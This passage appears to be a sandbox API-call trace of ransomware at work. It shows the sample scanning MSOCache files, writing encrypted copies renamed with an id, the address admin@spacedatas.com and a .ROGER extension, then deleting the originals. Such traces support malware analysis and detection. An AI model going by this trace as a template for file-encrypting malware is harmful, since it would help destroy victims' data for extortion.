Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.151] lstrlenW (lpString=".zip") returned 4 [0039.151] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.151] lstrlenW (lpString=".rar") returned 4 [0039.151] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.151] lstrlenW (lpString=".bz2") returned 4 [0039.151] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.151] lstrlenW (lpString=".7z") returned 3 [0039.151] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.151] lstrlenW (lpString=".dbf") returned 4 [0039.151] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.151] lstrlenW (lpString=".1cd") returned 4 [0039.151] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.151] lstrlenW (lpString=".jpg") returned 4 [0039.151] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.151] lstrlenW (lpString=".doc") returned 4 [0039.151] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.151] lstrlenW (lpString=".docx") returned 5 [0039.151] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.151] lstrlenW (lpString=".pdf") returned 4 [0039.151] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.151] lstrlenW (lpString=".xls") returned 4 [0039.151] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.151] lstrlenW (lpString=".xlsx") returned 5 [0039.151] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.151] lstrlenW (lpString=".ppt") returned 4 [0039.151] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.151] lstrlenW (lpString=".zip") returned 4 [0039.152] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.152] lstrlenW (lpString=".rar") returned 4 [0039.152] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.152] lstrlenW (lpString=".bz2") returned 4 [0039.152] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.152] lstrlenW (lpString=".7z") returned 3 [0039.152] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.152] lstrlenW (lpString=".dbf") returned 4 [0039.152] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.152] lstrlenW (lpString=".1cd") returned 4 [0039.152] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.152] lstrlenW (lpString=".jpg") returned 4 [0039.152] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.152] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0039.152] lstrlenW (lpString="branding.xml") returned 12 [0039.152] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0039.153] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=596341) returned 1 [0039.153] CloseHandle (hObject=0x354) returned 1 [0039.153] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0039.153] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0039.153] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0039.153] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.153] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.153] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0039.154] GetLastError () returned 0x0 [0039.154] ReadFile (in: hFile=0x354, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x91975, lpOverlapped=0x0) returned 1 [0039.167] WriteFile (in: hFile=0x330, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x91980, lpOverlapped=0x0) returned 1 [0039.443] ReadFile (in: hFile=0x354, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0039.443] WriteFile (in: hFile=0x330, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0039.443] SetEndOfFile (hFile=0x330) returned 1 [0039.990] CloseHandle (hObject=0x330) returned 1 [0039.995] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0039.995] SetEndOfFile (hFile=0x354) returned 1 [0040.000] CloseHandle (hObject=0x354) returned 1 [0040.000] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0040.001] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 1 [0040.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.517] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.517] lstrlenW (lpString=".doc") returned 4 [0040.517] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.517] lstrlenW (lpString=".docx") returned 5 [0040.517] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0040.517] lstrlenW (lpString=".pdf") returned 4 [0040.517] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.518] lstrlenW (lpString=".xls") returned 4 [0040.518] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.518] lstrlenW (lpString=".xlsx") returned 5 [0040.518] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0040.518] lstrlenW (lpString=".ppt") returned 4 [0040.518] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.518] lstrlenW (lpString=".zip") returned 4 [0040.518] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.518] lstrlenW (lpString=".rar") returned 4 [0040.518] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.518] lstrlenW (lpString=".bz2") returned 4 [0040.518] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.518] lstrlenW (lpString=".7z") returned 3 [0040.518] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.518] lstrlenW (lpString=".dbf") returned 4 [0040.518] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.518] lstrlenW (lpString=".1cd") returned 4 [0040.518] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.518] lstrlenW (lpString=".jpg") returned 4 [0040.518] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.518] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.518] lstrlenW (lpString=".doc") returned 4 [0040.518] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.518] lstrlenW (lpString=".docx") returned 5 [0040.518] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0040.518] lstrlenW (lpString=".pdf") returned 4 [0040.518] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.518] lstrlenW (lpString=".xls") returned 4 [0040.519] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.519] lstrlenW (lpString=".xlsx") returned 5 [0040.519] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0040.519] lstrlenW (lpString=".ppt") returned 4 [0040.519] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.519] lstrlenW (lpString=".zip") returned 4 [0040.519] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.519] lstrlenW (lpString=".rar") returned 4 [0040.519] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.519] lstrlenW (lpString=".bz2") returned 4 [0040.519] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.519] lstrlenW (lpString=".7z") returned 3 [0040.519] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.519] lstrlenW (lpString=".dbf") returned 4 [0040.519] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.519] lstrlenW (lpString=".1cd") returned 4 [0040.519] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned 75 [0040.519] lstrlenW (lpString=".jpg") returned 4 [0040.519] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.519] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0040.519] lstrlenW (lpString="AccessMUI.xml") returned 13 [0040.519] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0040.582] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1349) returned 1 [0040.582] CloseHandle (hObject=0x390) returned 1 [0040.582] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0040.582] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0040.582] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0040.582] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.582] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.582] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0040.583] GetLastError () returned 0x0 [0040.583] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x545, lpOverlapped=0x0) returned 1 [0040.674] WriteFile (in: hFile=0x394, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x550, lpOverlapped=0x0) returned 1 [0040.674] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.674] WriteFile (in: hFile=0x394, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0040.675] SetEndOfFile (hFile=0x394) returned 1 [0040.675] CloseHandle (hObject=0x394) returned 1 [0040.676] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.676] SetEndOfFile (hFile=0x390) returned 1 [0040.676] CloseHandle (hObject=0x390) returned 1 [0040.676] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0040.677] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0040.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0040.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0040.677] lstrlenW (lpString=".doc") returned 4 [0040.677] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.677] lstrlenW (lpString=".docx") returned 5 [0040.677] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.677] lstrlenW (lpString=".pdf") returned 4 [0040.677] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.677] lstrlenW (lpString=".xls") returned 4 [0040.677] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.677] lstrlenW (lpString=".xlsx") returned 5 [0040.677] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.677] lstrlenW (lpString=".ppt") returned 4 [0040.677] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.677] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0040.677] lstrlenW (lpString=".zip") returned 4 [0040.677] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.677] lstrlenW (lpString=".rar") returned 4 [0040.677] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.677] lstrlenW (lpString=".bz2") returned 4 [0040.677] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.677] lstrlenW (lpString=".7z") returned 3 [0040.678] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0040.678] lstrlenW (lpString=".dbf") returned 4 [0040.678] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0040.678] lstrlenW (lpString=".1cd") returned 4 [0040.678] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0040.678] lstrlenW (lpString=".jpg") returned 4 [0040.678] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0040.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0040.678] lstrlenW (lpString=".doc") returned 4 [0040.678] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.678] lstrlenW (lpString=".docx") returned 5 [0040.678] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.678] lstrlenW (lpString=".pdf") returned 4 [0040.678] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.678] lstrlenW (lpString=".xls") returned 4 [0040.678] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.678] lstrlenW (lpString=".xlsx") returned 5 [0040.678] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.678] lstrlenW (lpString=".ppt") returned 4 [0040.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0040.678] lstrlenW (lpString=".zip") returned 4 [0040.678] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.678] lstrlenW (lpString=".rar") returned 4 [0040.678] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.678] lstrlenW (lpString=".bz2") returned 4 [0040.678] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.678] lstrlenW (lpString=".7z") returned 3 [0040.679] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0040.679] lstrlenW (lpString=".dbf") returned 4 [0040.679] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0040.679] lstrlenW (lpString=".1cd") returned 4 [0040.679] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0040.679] lstrlenW (lpString=".jpg") returned 4 [0040.679] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.679] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0040.679] lstrlenW (lpString="branding.xml") returned 12 [0040.679] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0040.679] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=596341) returned 1 [0040.679] CloseHandle (hObject=0x390) returned 1 [0040.679] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0040.679] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0040.680] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0040.680] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.680] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.680] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0040.680] GetLastError () returned 0x0 [0040.680] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x91975, lpOverlapped=0x0) returned 1 [0040.722] WriteFile (in: hFile=0x394, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x91980, lpOverlapped=0x0) returned 1 [0040.731] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0040.731] WriteFile (in: hFile=0x394, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.731] SetEndOfFile (hFile=0x394) returned 1 [0040.731] CloseHandle (hObject=0x394) returned 1 [0041.035] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.035] SetEndOfFile (hFile=0x390) returned 1 [0041.193] CloseHandle (hObject=0x390) returned 1 [0041.193] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0041.193] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1 [0041.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.194] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88 [0041.194] lstrlenW (lpString=".doc") returned 4 [0041.194] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.194] lstrlenW (lpString=".docx") returned 5 [0041.194] lstrcmpiW 